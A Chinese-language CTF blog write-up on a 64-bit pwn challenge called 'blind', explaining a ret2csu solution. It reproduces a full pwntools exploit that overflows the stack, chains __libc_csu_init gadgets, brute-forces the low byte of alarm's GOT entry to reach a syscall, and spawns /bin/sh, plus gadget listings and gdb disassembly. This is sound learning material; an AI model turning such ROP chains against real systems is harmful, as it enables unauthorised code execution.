承接之前的ret2dl_resolve,题目还是blind今天看ret2csu
利用,函数自带的一些gadget来给寄存器传参,最后调用syscall,等系统调用
原理部分:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/
这个利用方式似乎要比ret2dl_resolve简单得多。从wiki上看好像,原理的确没什么好讲的.但是对于这道题的利用,多少还是有一些技巧在里面的。先挂官方的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
# context.log_level = 'debug'

#gdb.attach(p, "b*0x400753")
got_read = 0x601020
csu = 0x04007BA
got_alarm = 0x601018

def csu(pret, rdx, rsi, edi):
rop = p64(0x04007BA)+p64(0)+p64(1)+p64(pret)+p64(rdx)+p64(rsi)+p64(edi)+p64(0x04007A0)
return rop
payload = b"a"*0x58+csu(got_read,1,got_alarm,0)+csu(got_read,59,0x601100,0)+csu(got_alarm,0,0,0x601100)
#分三步
#用read改写got_alarm中最后两位(爆破),
#用read把/bin/sh写入bss段,并且利用这一步size(59,也是0x3b)将调用号写入rdx,为下一步做铺垫(这些就真是经验了)
#再调用alarm函数(改写后实际上调用的execve("/bin/sh"))
payload = payload.ljust(0x500, "\x00")
def exp(i):
try:
# p = remote("82.157.6.165", 37500)
p = process("./blind")
sleep(1)
p.send(payload)
gdb.attach(p)
raw_input()

p.send(chr(i))
print(chr(i))
p.send("/bin/sh".ljust(59, "\x00"))
p.sendline("echo lucky")
p.sendline("echo lucky")
p.sendline("cat flag")
if b'lucky' not in p.recv(5, timeout=5):
raise Exception
p.interactive()
except EOFError:
p.close()
if __name__ == '__main__':
for i in range(255):
exp(i)


0x00000000004007bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007c0 : pop r14 ; pop r15 ; ret
0x00000000004007c2 : pop r15 ; ret
0x00000000004007bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007bf : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop rbp ; ret
0x00000000004007c3 : pop rdi ; ret
0x00000000004007c1 : pop rsi ; pop r15 ; ret
0x00000000004007bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400549 : ret
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601060 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601070 R_X86_64_COPY stdin@@GLIBC_2.2.5
0000000000601080 R_X86_64_COPY stderr@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT sleep@GLIBC_2.2.5
0x400560: alarm@plt
0x400570: read@plt
0x400580: __libc_start_main@plt
0x400590: setvbuf@plt
0x4005a0: sleep@plt

我在做的时候不是,很理解,他怎么确认是爆破低位的(范围0x00~0xff)然后得到,syscall的,作为做题人,尤其第一次做,很难想到,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> x/50i 0x7f6a0a36f280
0x7f6a0a36f280 <alarm>: mov eax,0x25
0x7f6a0a36f285 <alarm+5>: syscall #第二个就是
0x7f6a0a36f287 <alarm+7>: cmp rax,0xfffffffffffff001
0x7f6a0a36f28d <alarm+13>: jae 0x7f6a0a36f290 <alarm+16>
0x7f6a0a36f28f <alarm+15>: ret
0x7f6a0a36f290 <alarm+16>: mov rcx,QWORD PTR [rip+0x2f7be1] # 0x7f6a0a666e78
0x7f6a0a36f297 <alarm+23>: neg eax
0x7f6a0a36f299 <alarm+25>: mov DWORD PTR fs:[rcx],eax
0x7f6a0a36f29c <alarm+28>: or rax,0xffffffffffffffff
0x7f6a0a36f2a0 <alarm+32>: ret
0x7f6a0a36f2a1: nop WORD PTR cs:[rax+rax*1+0x0]
0x7f6a0a36f2ab: nop DWORD PTR [rax+rax*1+0x0]
0x7f6a0a36f2b0 <__sleep>: push rbp
0x7f6a0a36f2b1 <__sleep+1>: push rbx
0x7f6a0a36f2b2 <__sleep+2>: mov eax,edi
0x7f6a0a36f2b4 <__sleep+4>: sub rsp,0x18
0x7f6a0a36f2b8 <__sleep+8>: mov rbx,QWORD PTR [rip+0x2f7bb9] # 0x7f6a0a666e78
0x7f6a0a36f2bf <__sleep+15>: mov rdi,rsp
0x7f6a0a36f2c2 <__sleep+18>: mov rsi,rsp
0x7f6a0a36f2c5 <__sleep+21>: mov QWORD PTR [rsp+0x8],0x0
0x7f6a0a36f2ce <__sleep+30>: mov QWORD PTR [rsp],rax
0x7f6a0a36f2d2 <__sleep+34>: mov ebp,DWORD PTR fs:[rbx]
0x7f6a0a36f2d5 <__sleep+37>: call 0x7f6a0a36f360 <nanosleep>
0x7f6a0a36f2da <__sleep+42>: test eax,eax
0x7f6a0a36f2dc <__sleep+44>: js 0x7f6a0a36f2f0 <__sleep+64>
0x7f6a0a36f2de <__sleep+46>: mov DWORD PTR fs:[rbx],ebp
0x7f6a0a36f2e1 <__sleep+49>: add rsp,0x18
0x7f6a0a36f2e5 <__sleep+53>: xor eax,eax
0x7f6a0a36f2e7 <__sleep+55>: pop rbx
0x7f6a0a36f2e8 <__sleep+56>: pop rbp
0x7f6a0a36f2e9 <__sleep+57>: ret

我原来的想法是ret2dl_resolve,因为出题人还专门发了一个readme.txt说,“不要去尝试爆破,没用的”。现在想想真是,信了他的邪。不过我觉得可能ret2csu应该是非预期,预期应该还是ret2dl_resolve.

总的来说,还是要有爆破,只不过ret2csu是爆破syscall,ret2dl_resolve要爆破libc

2021-11-29

⬆︎TOP